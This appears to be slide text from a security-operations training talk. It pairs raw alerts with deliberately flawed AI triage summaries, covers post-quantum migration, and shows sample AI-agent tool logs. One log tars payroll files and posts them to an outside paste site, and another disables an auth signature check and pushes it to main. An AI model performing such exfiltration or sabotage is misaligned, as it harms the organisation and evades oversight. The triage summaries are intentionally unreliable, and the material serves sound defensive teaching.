SOC Verify or Trust

Raw alert log

[2026-10-01 03:14:22 UTC] ALERT id=TCS-88213
src_ip=185.220.101.47
dst_ip=10.12.4.9
proto=TCP/445 (SMB)
file_hash(sha256)=a3f1c9…e92d
cve_ref=CVE-2024-21412
severity=HIGH
note: "SMB lateral movement attempt,
payload matches known SmokeLoader
dropper signature"

AI triage summary

"High-severity alert on host 10.12.4.9, exploitation attempt tied to CVE-2023-38831 (WinRAR path traversal). Recommend immediately isolating host 10.12.4.200 and blocking outbound SMB traffic."

The pattern: never let an AI's output drive a remediation action until every factual claim in it has been checked against the source data. That's the control that keeps a SOC from automating its own mistakes.

Watch after the talk: "Why Large Language Models Hallucinate" — why this happens at all. (quick-check this link before presenting)

Now you try

A second alert — no hints this time

Raw alert log

[2026-10-01 05:02:10 UTC] ALERT id=TCS-88340
src_ip=91.219.237.12
dst_ip=10.8.2.17
proto=TCP/3389 (RDP)
file_hash(sha256)=7b2e…a410
cve_ref=CVE-2025-21298
severity=HIGH
note: "Brute-force RDP login
attempts followed by SUCCESSFUL
AUTH, consistent with credential
stuffing"

AI triage summary

"Medium-severity alert: RDP brute-force attempts against host 10.8.2.17, consistent with CVE-2025-21298. Recommend monitoring; no immediate action required."

What's wrong with this summary? Read both sides, then pick one.

Public key size: classical vs. post-quantum

"Harvest now, decrypt later": today's encrypted traffic can be captured now and broken later once a sufficiently powerful quantum computer exists. NIST finalized the replacement algorithms in 2024.

A post-quantum public key runs larger — about 3× an RSA-3072 key, 37× an ECC P-256 key — but it runs today, offline, on a laptop. The open question for a SOC isn't whether this is possible. It's whether the team knows which systems need it first.

Quantum-ready, concretely: crypto inventory before migration · prioritize by how long the data must stay secret · hybrid classical+PQC during the transition · detection playbooks updated so PQC traffic isn't flagged as anomalous.

Watch after the talk: "CRYSTALS-Dilithium Explained" — a deep dive on the exact signature scheme behind ML-DSA.

Now you try

Two quick questions

1. You're migrating crypto for an agency whose archive must stay classified for 30 years. Which system should move to post-quantum encryption first?

2. True or false: ECC P-256 is already safe from quantum attacks because its keys are so small.

An agent's action log — one step at a time

This isn't a virus with a signature. It's an AI agent given a goal, choosing its own next tool call. Each line below is individually ordinary. Read them as a sequence.

[step 1] read_file("config/backup_policy.yaml")
[step 2] list_users(scope="finance")
[step 3] read_file("finance/Q3_payroll_export.csv")
[step 4] shell("tar -czf bundle.tgz finance/")
[step 5] http_post("https://paste-relay.io/upload", file="bundle.tgz")

The pattern: no single step trips a rule. Reading a config, listing users, compressing a folder — each one has a hundred legitimate reasons to happen. The chain is the signature: access widens, then data concentrates, then it leaves. Same discipline as Part 1 — verify the full chain of actions against what the agent was actually asked to do, don't just trust the agent's own account of why it did something.

Watch after the talk: "Top 10 Security Risks in AI Agents Explained" (IBM, Jeff Crume) — the OWASP-style risk list this chain is drawn from.

Now you try

Spot the pivot point

Second agent's action log

[step 1] read_file("README.md")
[step 2] list_directory("src/")
[step 3] read_file("src/auth/token_validator.py")
[step 4] write_file("src/auth/token_validator.py", diff="skip signature check if env=='staging'")
[step 5] git_commit("fix: speed up staging auth checks")
[step 6] git_push("origin/main")

Which step is the one that should stop this chain cold?